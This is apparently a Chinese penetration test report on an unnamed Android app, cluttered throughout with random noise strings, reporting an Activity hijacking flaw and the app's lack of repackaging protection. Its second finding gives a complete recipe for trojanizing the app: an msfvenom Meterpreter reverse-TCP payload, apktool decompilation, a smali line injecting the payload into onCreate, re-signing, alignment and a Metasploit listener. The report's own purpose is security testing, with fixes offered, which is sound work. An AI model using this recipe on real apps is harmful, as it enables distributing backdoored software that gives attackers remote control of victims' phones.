原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

; M3 a. n0 L; G' V- A" u/ T* m

/ g% M W4 P6 V) q/ ?: x6 C0 E5 q ; x7 M5 N, k5 ~7 A
. M: j7 v: ]3 }; Y# ~

; P" n. v- [6 ?6 P# E - K5 E' N; n [

0 @6 A' I/ t0 A# O 文档编号：               

- z0 K$ K9 O5 q

5 Q8 F& V2 o4 ~. e/ |0 D- g) ~   0 F0 @+ M% v% H6 x1 }' R0 [( }

8 {1 W9 t; W' ?

 

' ]% R' H! _3 X8 o# [- j

! o$ m4 N6 X' c! x8 y, Q! @/ T( Z9 n " J3 J" y. D+ M0 k1 i% O6 G: p   9 X4 H, _" w7 v( `( K

3 P! e+ |7 f3 @+ |0 |7 r; u  

  + |0 m$ m0 i$ d& j

2 k: }* D* n! F S) m; V% o " g/ w9 u ]& x2 B# Z' N, L; i

) F: V1 q' U/ ?( e 某某某APP渗透测试 9 F- n' f3 v2 g6 m8 n

3 R2 L5 A6 m7 Q4 r" M- x

  2 u* o" f' Y5 C, L- R9 h" Z* N

7 R+ ?( E: ^% r + R! x$ m4 e$ I( B8 j6 K: Q. Z' K; d

8 V8 R$ g' J+ q9 j, a( R   & X5 P/ }) R6 `5 F ; n) q( o9 @9 U! L

$ h x. h; c5 a2 `- E

! p" k( f Q: V4 X4 \; R3 I   6 J1 S- ?: B/ C- S/ @* ?( K

/ O4 X# L t' D4 j 0 A% q8 Y: s4 {& n

) b6 K5 `3 X- r  

: x! K, c. p; b7 g 9 [8 t- ^- v: f: ]' i- f( B' y

/ @6 @& x3 C- T1 H9 l% D7 } 技 术 报 告 ! v5 v, R. e/ p( {$ J5 b

 

) k6 \" u( w# g! A% d , H2 P4 X/ y- @. J. m

  4 ?0 X- e/ a" }2 V

1 J1 @) B% m7 _ 5 l m7 A9 y# _: b, J7 U ~6 n

 

1 [" S" [: e) w; ~$ |! n * G& i5 Z# x# N- n8 e U

% K8 `. H+ B# _( G! ~0 f   + w8 u' F/ x$ ^; |. ?5 p8 X& l# a

+ v7 r- i! u0 v- O

; K% e6 b1 A$ l   : Y1 }% ?: N, U9 g! ?9 g

* x K' \7 T; @' l. Z2 k

/ ?( v: U! T8 C% q7 P; [   / Y. t: f7 S s' i

+ _- k1 P( }, }. s9 D9 y' c8 F

  * Y) g* D5 N3 R- s: W" i; f & U* y B* N9 X- i% d/ y9 {" k

# \1 g5 W$ @; \ 1 E) d- q4 v+ |1 c' [/ C+ Y7 Q

r+ r* D' Q7 _% S   , X& h: @6 k3 e! O3 G S; R1 o4 t6 o- u# {

& V9 m: t- |' q! v4 d" ], Y

  ; U9 y* ^2 ^9 H0 G

7 U% ]6 }: z+ i

  9 P" m* ~! Y( F$ D; a" U

9 j6 _+ f* e' l 1 y/ G! t& C- i/ X, x

: ~+ B& J' [7 l+ U2 t 6 G1 G- k3 ]% R/ l1 W   # O/ C8 t h' \! S! ^) u ' l# b9 D5 C. I4 [& ?

$ L" s7 |( J* k/ V! S( m# z   . ^" ~2 b% ~! [ ! s# O5 }, d' w7 o% @

0 X1 m5 t% d/ ]9 I' ?) ?; {

  ' W5 X( Q* }9 {/ P1 L

! E' z) E6 _% v1 F; t( o8 P : C* ?: M! q7 s, u

; B4 K4 }4 [: h( l B ' b& t) H7 | A9 E* n   " A+ B$ C2 D7 _7 o. a

: T) x5 n1 @) z0 ?

- l) {5 Q1 l" V, z! a $ B! P; m1 j8 A) \' x2 t7 ~5 M) ]+ E9 e   0 n5 ^; k3 w! ?4 p

/ d, {/ p8 r. n# u/ p 5 Y. Z. H) Z9 O0 }& V   7 Q! F( E ? w+ t, H* z

2 P1 N1 R: E2 w4 S( r; E2 \5 @4 n

' x# w! l% ~) D+ X! P$ H % s, x f+ C @: h1 \/ F3 p   3 k V( }1 s4 F9 H/ p

 

/ @5 Q$ k( J) U7 q. L8 M& W

二〇二〇年 1 s& L3 U3 [0 x8 p8 } ~

0 e/ _7 U% {% Y# k, {9 B |

0 I; F# ]7 |% F$ W# Q

# f, ^; c! K. y5 ~. b+ Y* ~2 q5 {

3 _% {4 }* L! z3 Y& Z- \
9 M2 M) |9 V1 J- X8 O+ X* ^. W' _ 3 |! C' V5 s) u+ i0 `( l

# i" @- O7 i$ b5 ~6 \

5 ^' y& g- `, ~+ X7 Q+ { 4 |: M$ W. c N+ F/ v 目 录 ! C+ ^) C. B% T9 ^6 S5 x( o

& E( |8 X9 d: L1 q0 v2 l

1 @: D, _" t' s4 y   0 z Y7 {2 m% ]/ Y! p$ m

; A2 b5 }% h+ e3 d

7 a4 |- w6 a, ]' i4 ?# B+ @# \ 8 @$ I& p5 q/ F2 h 1 概述... 3 1 e5 O! n* d5 j m

. l$ X) q3 s' Q/ z- w * {( e+ l6 w8 t" E# J( _; b& O

3 a- C& x ~. r# o' f. u/ g9 R7 K : ~4 M+ a* ?2 w6 n 1.2测试时间... 3 3 e' o8 T/ F+ H: {& ^) i1 H2 j

1.3测试对象... 3 / b( b: \- g% U" q5 ^ + N- G: D1 H- x& o% ]

/ W- [: O7 ^$ l

8 Z3 _% c" n- s$ Z0 u 1.4测试结果... 3 9 _, y; ~4 H* [/ s6 J u! e

$ t# [, F+ L T& X

" S, O8 ^, N6 P$ S9 | ! J& V; m. {/ c6 m0 y( C. K# M, \ 2 检测结果... 4

% B" K. x ?3 v 2.1 某某某... 4

( x0 n8 [; Q! P: {9 H& a

Q! D# Q2 r- ~. j, a 2.1.1检测目标... 4 1 Y% T! ~+ S9 O! C! V

$ w, m5 t; m8 c4 i# B

0 Y+ \5 `, }" p# n! Z, n 2 ^* }! ~8 @) a* }, l% M2 D! `3 w 2.1.2检测结果... 4 " o( I" O, i" U : L( B2 _" H, N. x1 L! u! j

. O! n8 H1 \( `. V( i- q" L

7 D' y9 m# V2 t6 l% x: S + Y9 t" Y, ?; x$ o; {$ v! o 2.1.2.1. 4 " z" B) t e" d0 J* }! _' m3 d

2 F6 `6 w: r. E

1 I! d# h! V3 [ x 2.1.2.2. 6

/ }$ h4 p R/ T, J 8 K: B8 [# v4 l. E

& P4 ?2 \5 S7 s & H" {( d0 }; ]5 } 5 E9 g" q* U% f: ~% U1 | # D, s( D" L( t$ G3 t

9 W- h( Q" v T8 D6 \( I- [ ; g" t# s8 Y: Y% m! s

6 b- a! K' P+ ?% c) W+ `1 F 1 概述 + L% E2 s% K! u" Z) T # {8 u5 c" P9 F7 P6 s' d

- i: S% f6 f( x1 |4 A2 z+ J

1.2测试时间 ) S- j% f$ u# c

- q# b1 O4 A# Y% V 3 _; y K3 i! p% c$ I # f, C" n6 h" h# ~; q- g/ n, [, M, u+ R- S: n- K7 ~+ H( U: Z! L! H# Q1 a3 M0 D7 O ~. \ H5 v1 W l8 f- S5 N0 I! P, S1 i0 v& u% T c* n- J8 G" S' g* [6 t4 b0 v j$ j: { H- _" v" b$ e a9 f" U- W. A2 b- S) {1 K/ _5 I. a$ _7 h6 z$ p' B% Y8 G, O# E2 E% W+ k6 O& R! F4 e1 s; z+ i$ _0 ?/ S, Y: t- b$ |# h* K- H; X: V0 r+ K

- k: m; V4 b9 `! c' l, ~6 R7 ? - Y7 @" u" W- d+ n6 n1 Q 9 K# U4 X/ E& {# x 渗透测试时间 0 _5 t8 I+ Q. G6 k8 Y 8 \4 M' D2 z/ V) ?6 j ; a( ^5 }* z1 C, L
; }6 e" C" {% h O. p1 l . ?4 ~0 n; \2 J; b6 p " Y. w; B& w1 B' T- l: c7 [ : p, {, M. Y3 } 起始时间 & ~( n7 J6 i$ C	2020年4月6日
2 H; O7 W% g0 H/ H4 v. G; v5 P* ? # ^, A& U5 b4 l; ^& Q 结束时间 - B9 G# u' g0 a; a 5 i5 m4 L) ] o% a	a! `- z6 C* N4 D0 x: J 1 M+ h5 w9 m. E6 ~ 2020年4月9日 4 u1 r9 J( R8 I# X ( Y( A4 v9 d5 J1 {, b

! k, n. a+ G7 j S% o7 {1 D3 M: V

1.3测试对象 2 v. \( M( n7 O2 B6 Q# C6 _

! J4 \9 v, I7 K5 o# A/ d. q# j 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 8 A0 y7 E& [, X. `! ]1 [8 Y1 x

# Q. W, c. X0 K3 c- t* b0 z; z3 p6 j [9 w! O0 e# }5 C: Q# F

表1-1 检测对象 & L" w8 f( v5 z0 z5 F

, U" _8 N% }' \: C8 N # T6 n) N1 q% N! ^, ]" f) ~" K+ l9 u) w6 K. K( j7 @; V) E$ D5 b3 W4 R w- f0 X- g9 Q3 v8 U" q; n: o4 {7 r' s- j* Q: O/ O- z( X% F: p- c% p! k0 |! ]+ Q* u4 G6 O. F# w% E8 E5 l, L: R' }, C1 B" x( T# d( h- R3 ^8 v F' y4 T8 t$ s" l" X+ q7 N! p! y- ?5 Z+ k: u N' J8 V& [) G+ t% B1 Z4 s/ j* u/ k+ O8 x' k0 [# }- V; ]1 \! q4 P+ g# ^ f2 B0 O+ y5 U1 |: j5 U/ l" I0 J4 X* J% ?0 |3 m- _, C) J5 ~/ z! C" {8 i; X5 L) t! j {% Y0 [$ \) s( P: @

) u5 K0 o) ~( v M% X- H: W 序号 6 D8 w, H P9 P, H. @ : d( A& U! N3 ~' E . j4 f0 Y6 ?0 j3 @: l7 @	. ~$ s* E3 [% [) w3 u( S! n; X } 1 Q- K( s+ X5 |- y. r5 l 测试对象 3 s- O5 q1 e! G/ e9 e 0 X" L+ e% `6 U. K# z( w. h ; N |8 i' ^: O8 {, j	g" z; O+ X7 B, r+ ] 6 R s" e8 N% M 测试地址 , N) D t" i4 X3 k f& F" n( G- |2 v4 E 4 b; A- ~ b0 a& F	: g$ ?) P8 X8 @0 e ) O) ^& n8 L- \4 c) r 安全漏洞 8 P4 a( D' t9 j5 N( A
+ a9 j! S+ Y1 _! q9 k/ ?) K z 8 h2 _8 `- |0 d2 _ ! c% @7 r/ m! h: E3 e, R+ R- M 1 ) x2 n7 _) L5 F0 f	k7 r# x% u9 X/ w1 X3 E. ?* t7 W / E- q0 E3 `! I1 @" i 某某某安卓APP ! C$ k3 E0 g1 [/ ? * Z( n/ f9 M& t$ J	0 ^/ H( R% | ^& p/ h3 N) c6 f   , J% }: N4 Q/ o; [# m# [ % s! L# ~) P, @$ y3 b/ t; J7 } : y( `: i/ _- A& t4 D( Y 6 O% H0 X3 k' W# G$ @" _7 i- F	$ I" c+ D+ r1 J4 Q ) i% ?4 W' c/ W 2 % e m. |( M* T. O) l/ q 5 d* a/ s& f3 U* W! w

1.4测试结果 / Y' y% n# G! ] ^- l

7 C3 C- J9 k" ~% e& B( I x; z5 v3 d * b7 k. Y. D1 D$ i2 J8 U' f

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 0 U. ~- ^; i+ |6 E

P" I6 g. T ?" a3 `

1 g' y2 Z; A' C- B+ g: | C 8 q5 }2 X) u9 a# u! e% \& V  

$ ]9 Z1 g! b7 C) G% T; {* j. k+ x

8 B+ K. D! d& {5 f, j8 W" T . c R! i r1 N( ^9 C; X. U/ t# U8 R+ b- W% I0 p- O- Y4 m4 b7 y1 m, F6 Q( P) M& T$ e( P! ~3 D; f- {& g- N. o2 x5 B) t4 N: o- c3 P% r4 e+ B! \9 m* A- b' x+ D8 r0 b. k7 N% Q/ G" Y" T. C% p9 @" r, H( ?% d7 f/ N# C: G' c% S" D) q- k. N' p9 N0 L* e8 c8 i3 w1 C- ~( X/ s6 v! V8 Y( J' x1 a+ \# _% W9 u9 h/ h1 u% J; u, K3 f1 z8 z) |6 n( ~# r- X1 L; p$ J3 W. a. G- Q7 A# v4 V- g4 H2 i4 G. I& y" ?: ` @# H+ v; D' V* H5 X, g8 s& C/ O' Y8 _2 z# \0 ^0 ?8 J* Y. ^8 D, l7 Z& U6 L% l5 N! Z: {( w- E) ~" N/ W0 q& O" v# B1 P+ `+ I D8 N8 p1 N: k0 ^/ [3 Q4 Q

/ x2 e, X6 B) H: C8 r 6 a0 X: I* r! b( q, m 序号 : |2 W1 j' Q7 j5 ^1 W' _% c+ E* n+ R # D' v d- m% B ) E+ ]* D( B# L$ G6 {6 o# t	- Z9 V5 g3 ?" |, _( S5 k 5 E. H/ _5 E4 G/ J/ w0 ~/ m2 z& \# v 系统名称 $ w3 _. n; w7 y8 u3 F * Z- I5 [: ?; ]	9 h0 \" o$ W$ U - b5 j5 o/ D& K5 U9 `$ v 0 z. n2 ]1 c* o* f- m; g, p/ h 漏洞名称 6 v4 u0 Q( s/ Z& P	9 I3 K3 \+ y. z( c X3 T $ x! Z9 |- Z# e4 v- I/ l 漏洞危害 : i ~$ b- y; `% S. c 2 S; E7 O6 W7 j% i: t& b: | 0 e4 a3 U7 C# k) c$ ]1 ]	" s5 U" g& } {: ] " R8 m9 |2 u2 m+ k3 ]" ~+ P 6 v$ @6 M1 H2 @0 |2 H! c4 y 修复结果 $ d' Z7 v5 z( U, U7 ` ( p3 [- o! v3 h( @ f \- v% ~4 t7 l) ~8 \$ a
6 D% D$ q) I+ Z8 I; |" M) G+ O: W 7 f4 t; O+ R4 K% n' I $ Y6 {4 U4 J# J% n8 W8 u 1 / o( ~0 i7 |: {: I a % m6 [, K0 T9 A' i& Z	某某某某某某APP	5 C& G$ s) o3 M$ C" r ! w. V3 X+ D' H( B: @( k 8 p& g3 }# n/ V# B9 k Activity 劫持 ( | R7 g) r8 B* T0 b( u6 n ) a7 P8 M% j6 T/ w/ a$ ]* P 6 }" l; K4 U W7 ]' z6 [% ^$ s % L9 B2 A7 u- E+ Y. T   & [, D8 R# r; P" l* @8 x& i4 \* c 3 O* j3 T* w* z	! O$ F# B- W1 G 高 + F& Y0 z$ m3 l; j 6 ~8 O# l1 [( g+ s. D 2 i" E) }2 R% O" r	) h3 d) l* G, Q5 h / y0 c8 F2 W8 H: ^+ X6 C% q" I; K2 w8 m ( d5 o7 s9 y4 b4 U$ A* x0 _8 P1 k   9 w3 M% l% C* V7 @. M1 [ . G2 P* h4 x- v8 [( _ / |/ T' ]9 P2 ?* Y* M
1 s' Z. L- [/ C3 ] / m; S* m, o; p0 O2 n: P5 w+ u! U" H 2 4 n4 L. _# u! c; T" w " c+ }* x7 Z3 R3 X	" U4 r) U1 i3 Q- x ' g% z7 j: p2 r' b& @ , w, i5 `- ?$ d1 L 某某某某某某APP ) b% f# x1 I5 ^. D3 h0 n ! s% Q5 F i4 s' j/ |9 x	1 L; I z: T/ I* V& w 3 p: a3 a# ?6 n; D7 Y( j: s L' T& Q, t2 H 反编译二次打包捆绑木马、篡改APP代码 ! ?. {3 B; `2 {& F / x7 Z+ S2 S% d3 f8 d : n F: p$ }7 x: i5 T9 k8 o2 y	8 t% ?1 E# ~/ d$ G9 t) N: J! D; N [" H, e3 ]! j, r' S' D 高 g" l- l- n4 M7 y8 v' y	& D, u) L3 l! ^ 9 ~/ g% O2 X% W" P7 M6 g ' I# j2 i( }8 h' \7 Q/ K+ c   # z0 |! j4 ^6 x. J" z 3 z2 ]+ Q% L& ] / S$ \9 M. b+ `% W

: s5 r& Y1 \8 N' x( P$ K! M4 t

* _$ k3 ]0 x/ |# e7 d ' A* T4 A. W/ T" @* f% U7 v! D

3 ?7 V4 ~6 i6 Y" [   & P x* S3 C! y. N6 l5 x

0 l7 X. f- l( Q# i

1 H. m* U' R1 d4 W. t/ t 7 p& z2 [7 I8 Y4 C 表1-2 测试结果

( q% q. t( R1 N0 ?

/ T1 t& n, g3 a" t   0 W& Y6 u4 O( `; W m. t1 j

9 p- `! r( F; J. j2 Q

2 检测结果                    2 V- o2 h; \9 K$ [, m* s$ [5 n* m

) r( Z2 |% d. P' x' E+ C 2 C) ^( e6 N; J

7 I, ]- k% t- |$ C9 d7 j$ r% o- E # N: w2 w4 w. x0 }( n& `, r# v 2.1 某某某 5 P. o& q; U+ l Y, s" X: K; V

0 y2 L2 I3 s& e A: N; N4 h0 x 9 r. ~2 P$ N6 R+ n8 `+ {6 t3 w

0 ^' c% v! O6 G* m : d8 V, u c$ ^5 E( Z 2.1.1检测目标 ( X& ?6 }0 N- a7 |$ Y8 l4 k 2 `8 |; q' C( L% G f

目标地址： 某某某某某某APP 8 h' `- o4 L# [5 B

+ W% o, C2 Q6 w. P 5 ~) R7 j p0 }. p S: H( |

/ m1 N- }1 j; H& Y9 I9 O" e1 P 2.1.2检测结果 # H5 x K) [" H4 Q4 L( s0 ~9 t

, Q+ l0 F3 `. j- F" ]1 N5 | s4 f 1 D1 P7 i& X2 Q: e0 I) @

2.1.2.1 - p9 H1 y1 D5 {: P

0 Z1 u, j- _/ [# D3 N% D

0 O3 ~0 ?2 t6 g+ \8 h7 C, F* \) W 漏洞链接地址：某某某某某某APP 6 k: B; m7 b8 \9 _& R8 |# h4 |

  3 q" N6 n; l0 c- R 5 |5 m" u3 z7 ~9 {5 m

t, g- c1 t; V2 @- l! l

_5 L# s$ r. e& k2 l+ p: X/ u . N* P p# y6 Y 漏洞分析及取证：

* L9 m" e5 E0 p+ P( m/ E

" B9 X. n) T; J6 J, L' V                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

: }5 K: s% L8 L+ h 6 q/ K h& G8 A. q. O& k7 d

" l y( P5 D2 q      b$ Y* B' G# V {$ s

$ P! q9 T( H: I8 G% s5 T3 g& o# w

- g$ P1 y! x5 J7 C# |- T                       " ]' @" X+ A0 O1 R7 L) ?

! x$ H* W) ]& ]4 e$ v' u1 w% A6 T5 S 4 t/ o0 p* N+ ~3 \# S: F" B$ z! {

: ~0 ^3 N) H, M+ L. k5 W$ v ' A& h5 D) N; P' B7 f+ ^

0 a0 p3 S: e3 B; g8 y$ D ) \! Q4 e; @2 c ]. c

( d3 j1 }# q+ }7 Q) u3 o

: g( o4 |3 p8 N. o. ] ' i- r( ?1 b: [7 Q* ]0 n 8 _( S, V& V% J+ r( {

7 C7 M6 m% f# _7 z2 k

漏洞危害：高 & J- d- y9 r1 B1 a/ `3 W

2 P* H' t+ D# b# Z9 v' T: p - s1 c6 \3 [3 c/ g5 Z $ D9 o. [+ r g0 C! E- k& r1 q/ d) S& f2 Y' L+ e$ V9 L5 F* L! f; e+ q+ i9 y) ]& y$ s! y. _0 X# g* N D8 n0 B2 c! i$ u) K/ E" O9 O% j: U( X, \) B/ e& o2 l! k* _# R+ l5 N7 e- F$ }) u4 E; q+ ^! g, B* F5 ]7 F$ W1 g( B, S' D; J, m* m) q2 D d$ M `9 E6 B/ _; w5 n* ]! R0 J n3 V4 s( ^" K$ U* I* v% r- |' L2 p1 y$ e3 @) ]: g$ h ]: Y2 y- I

& R* |4 n6 `/ e+ v* S8 w. E 严重程度 6 K- R$ i7 x- C5 r # x H) A/ F1 c0 |& [ ; w% O$ J3 f" z	: Q) k+ Z# ^0 J7 m1 Z 高 % u- i3 |% B, ]! b( z6 k2 A+ O+ K	) k, S R2 v: E" p5 g. U 5 c+ v& {! }) P/ A ■ * z! N. A2 K4 p# U	& H: D5 z- Q, @8 l& `0 z 中 + E$ K- l8 {# o, o5 j; X	' [9 r# N ?$ D& d& r$ V% s; Z* i " q; r2 M, p' O0 H" j& w8 l$ { ! h: r9 ?5 ^4 k! S; P0 s; u   / T, N0 y, p" A' s8 `% {* W 8 f$ y& F7 a- B4 V# i ( d8 f1 f( T8 w. D' v: r2 `/ d# h - n* N- N7 h8 D7 g( m: Q	9 ]. x, T1 Y4 y; P 低 & r9 g6 P- p6 h ) x, o2 f" r( I7 w v' P	# W1 `6 F; ~5 h# g# R0 F' ~. ~" e   6 s% f% a F1 B( ^

1 \( t( m3 I6 A$ O: }

& a6 ?3 M" T( l3 i5 E  

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ! V0 ^+ }, h! D) _6 a$ c * @5 [3 X2 w0 a5 e$ O+ n

: P. g7 H' U6 i# @

2 z8 V$ H' Z- S3 d4 F           " w: Y( _0 A+ y1 \ 7 q( m8 L' S9 p6 v, \

  7 a! R( m2 k% a

, c, ]4 M5 u1 W' o 2.1.2.2 ! Q4 D- ~5 Y9 U8 j- n# {7 A

7 E+ v" o: d8 k" f; B! E* H - N- j5 ]% a! s- S4 x

漏洞链接地址：某某某某某某APP

$ C1 u4 Q5 g! f K* m0 e9 ?7 K 漏洞分析及取证： ! \4 y; K. u8 |0 Z% e 6 c: ~! g% ^* E9 f: a

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

9 x8 u3 {% w- x0 h0 } - M$ @. v; _- c) y

; m$ Q7 a }" V0 ]. C 用Metasploit 生成木马 apk 7 w# } d) H3 c' I

, j/ f0 }* k& Y9 z3 z4 C; m5 @8 O

. e, g$ ?& j; }' f$ b msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

$ Q! A _% G; M8 j " B: g0 e( g1 n

* Q6 e# [ z$ q% N# o 反编译目标apk和木马apk % j" `* H& w- x9 B c" e A* y 8 K$ L2 k6 o7 \: n4 M( ^/ f0 C. H, [

& U6 D0 l- ?/ f/ w* e9 p

apktool d target.apk
! K% n$ m! t2 k: N+ | apktool d cockhorse.apk # O' v8 @8 p0 r% z5 n9 h: E3 w6 `

- w t# ]! x6 l$ D 4 A6 X2 n2 P3 o9 Z5 ]6 A+ C y

4 F% `6 S7 F6 a0 F1 {' i: | z 木马 apk 注入目标 apk ! V, v7 P6 g8 d2 I) m: `

5 [, ~( m0 s' q 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
2 e- A7 t' x& q- c 2 _. p8 V+ h3 z& f' E invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 # d/ c! Y6 d7 |$ P/ d 9 @$ N& j, f; N( f

8 d( ?- t8 e* J8 b) X/ a " a P2 Y$ O3 e( { 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 $ ^9 X0 g; Q/ l/ X& y% F5 | ( Y. _* U& }& \

# Q/ B# ^2 O1 B ; T3 b; G6 a8 j$ \

回编译生成最终 apk

$ O$ G( H# z$ S4 ?3 N7 M4 E

重新打包

! R T9 I# l t

* z. F2 A, r. C2 } apktool b -o repackage.apk target_app_floder

0 @3 X1 k4 |- P8 G

创建签名文件，有的话可忽略此步骤 6 m9 z4 n; Z1 {# H

) H6 r4 V9 ]- V; F% n

9 S* L8 x+ q5 k* p keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                0 d2 n+ {+ i/ L) L9 [, ^

* ?" M, T" ^; \ 2 G$ a) |4 S ]+ i h* @/ ^

0 W E& M F( z5 q" p 签名，以下任选其一 ; L, H3 F, s4 S

& E3 b( f5 z& u5 ~( J% U* u

jarsigner 方式 8 {4 l9 s# p! J' K

& m4 ?& t) K3 `1 h9 G* P* N

. l3 X- c7 f+ y# T- } 1 c7 |3 k+ J1 w jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname }5 L# I# r6 J2 o% o . v- Z5 [: ?* a! W5 p: D/ _

! A/ e; d" D0 Q7 O9 J8 h, O

- Z- T1 D+ D) s$ p# a" s apksigner 方式 5 \, x+ j) l4 L

- B9 ]7 f; N7 s' ~( p

! e5 K |& k& I* \; a- c apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ! Z( R: S0 [" H6 w7 G " l" y% C4 v: f8 v- l1 M W

如需要禁用 v2签名 添加选项--v2-signing-enabled false

; S+ M6 f$ A( v 验证，以下任选其一 9 s* m* k9 h, W9 X

2 S3 Z: [5 i5 Q/ u3 g [

% r% A X( M6 H2 |& P4 _+ H 8 w& P4 L( t0 U! \- j$ W jarsigner方式 & D9 N) `% x( G . _: d, H& c) s& R1 `

8 r$ y( D: M- K- H/ a& d* n2 Q' }2 j

' ~! B! V# N7 D, e9 A$ q f jarsigner -verify repackaged.apk

7 S% g5 A7 j* h7 S, j- s3 ?3 t+ X apksigner 方式 + M+ t1 Q0 P: p2 g" r3 S$ K$ v; z

4 p# a2 s# F; t7 E . o4 u/ @6 a ~% [$ m apksigner verify -v --print-certs repackaged.apk ' c! v0 W1 h) ~0 G3 m2 Q , b9 o; c) X; k' A, G+ J: \& k

keytool方式 0 d! X4 \( i Q' O

' \3 j9 i; b6 ^( G* {& v: s4 k& U2 }2 }

0 M2 W g& {9 P1 A+ z$ W l8 ~ keytool -printcert -jarfile repackaged.apk 3 M8 x* L3 J8 _ t8 v: N1 Z8 z ?

+ J7 q$ x" Y; U) J( H* w$ b l" ]

+ m* r. B0 }7 p& j+ U6 d , T) Q$ @$ `" D6 U5 ]0 N 对齐 V4 ~% U: U9 p* g

% Z# z8 b+ Z [5 [% E1 w& y

字节对齐优化 ; l. g+ d5 @0 u, Q

^, k, f2 q( q/ d1 |4 [

* Y/ u4 u2 U, P! L+ j8 [; }, a) ? zipalign -v 4 repackaged.apk final.apk & f$ o1 {2 _' l: W( x* a

0 N3 F( D5 u A8 i( n' p% } 检查是否对齐 1 T7 o5 n9 f; J# V% | & k; b3 e+ k: f3 V+ x4 [ ~

# w; _! y- T8 m. v$ L6 ~! w% N6 E, B `+ E/ y$ ?) k: g+ {& @

% n3 n6 p. D+ ` zipalign -c -v 4 final.apk $ o" ^8 k+ V$ [2 R+ r * S4 X2 U4 U* o6 v" e+ L

- a! \7 n) ^+ E% Z

9 r! F+ E9 y& g; G7 O+ W; q 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 q) @8 A: }7 u- D- B& q) K

' _7 R5 [$ d' W

8 w$ z! [: ]4 s# p0 l( v 启动Metasploit控制台，配置参数等待上线 " z; G1 z9 w6 X' T: u, `* D7 p

在终端依次输入如下命令 , P( S% x; E, D: C

: \* @7 J- c& o1 z7 E5 C9 k msfconsole

" F8 [5 a" \& h# c use exploit/multi/handler 2 V8 \8 k# |! N9 I

% b, c& h0 H0 X* i0 ?7 v+ n

& e" V4 Y. q* D set PAYLOAD android/meterpreter/reverse_tcp . |; ^! v( k" m5 B" X! S' u6 g3 t

7 n, m0 T# Z: n Q% n3 ]% a. `* l1 E& N 9 V1 `4 a1 n3 |9 @

7 `6 X+ L. {: ^) T set LHOST 192.xxx.xx.xx * S! ?) {8 y+ T+ o2 X* H7 p 8 {, V) b* n9 ^; D

# a! a. U# Y4 s" G. g! F 0 r9 G2 a+ q1 D7 K0 J5 f

" ?: W, A6 {- b8 z2 k9 Q set LPORT 4444

" u+ Y! U4 {2 p( E" I5 } * p m# c- t% K8 q

" `- m2 r" t& V * @ {& \$ D, y8 Z' e" b exploit # l* _, `( r* E 0 G" E8 _8 ~, S$ ]/ @) ]

9 ^3 q* k% A1 i3 M5 u

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ; h$ w5 f! m$ N0 M# S6 [6 _

漏洞危害：中

5 M/ t! `% {; Q6 P* i3 v( J

' A) K) B$ W. p {5 v3 x- ~& L/ a/ o# g- Z % Z, u0 M, v0 A8 }6 L( x" O; }4 c+ F& c. y. M% T! J8 G, g% a+ i- g; \7 }. H; q- p6 }! L: @" o1 H7 ?4 G) X) I5 y- H |- f4 | e4 @$ \# b0 k* ]( H; ?2 F) i6 y" R; d( x) k D2 [% E0 P2 V: a3 I. K3 ^

( R- ~- j8 h4 K/ a9 r" `6 X! X ) C# s! {) m1 n 严重程度 / ^0 d# T0 f+ [! m ! d9 D4 @2 _0 t; c$ @	- ?3 P) c- e7 z, N. M7 r! d : ~* B. U% [6 A2 B 高 0 {' o' e3 v) P& m+ Y S4 X # f$ i1 u M m n- U8 U8 V	: _( \, w8 N: i/ _; p$ N2 q( d 6 \4 M+ e% ~6 \5 r* b8 O2 b ■ % x1 U: p! t s' [% B9 s( l; S1 y	1 u8 P' ]' r- |0 h7 @. q G' ^' T, G2 ^8 v; J _3 Z, H& N7 a/ H: b$ y1 G) `# | 中 / _4 g1 ^/ O q: g" X	9 i* ?, G2 M4 j/ N7 D9 U 4 q5 e. i9 W1 A$ Q+ X8 r 2 Q3 E5 v$ x4 J9 s( x/ p   - X0 M) Q& |0 l3 X! x! O* i" L	7 t3 h3 n x; i% {! h 2 D0 c7 E& x) R6 Z$ D. O 0 U+ D. Z5 y) S* E! w3 Z/ E . `, w9 y" E; {3 m. y7 r q 低 ! J3 C" O; m; e, t4 }	) D: \# m' i/ i- F1 H0 p$ ~ 2 N) z8 R7 }7 K9 |+ x9 s; }   t5 Q t5 V) s; f7 s * V2 f/ v! l/ T

: Z3 u) D+ V j8 ~ . k. e' ]' l0 q/ m% c/ H# H

! J8 g" R/ w' W, O$ q. [1 c% ^  

( a, O$ ]) z- g! q$ E7 F/ o% I 修复方法： " O* R, C; w- {: J; O

2 _0 N6 Q& [% Z n( \1 e, h# P- H7 m

) n) l E* G' E- T& w               1.在 APP 启动时应做签名校验防止二次打包。
& c( b; k3 W; T5 W4 m. d 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 9 x# T' y; s* O

" @; J7 K9 s; d ]1 d/ V# b 1 m, y3 W8 ~3 e& z& L. U, `4 ]; n " p- L2 }5 Z. e2 N$ U. I) R7 C

! A, ]0 w6 Y& }) E; n  

0 P% F) O1 _# d! v

$ j+ p1 s# g0 g7 _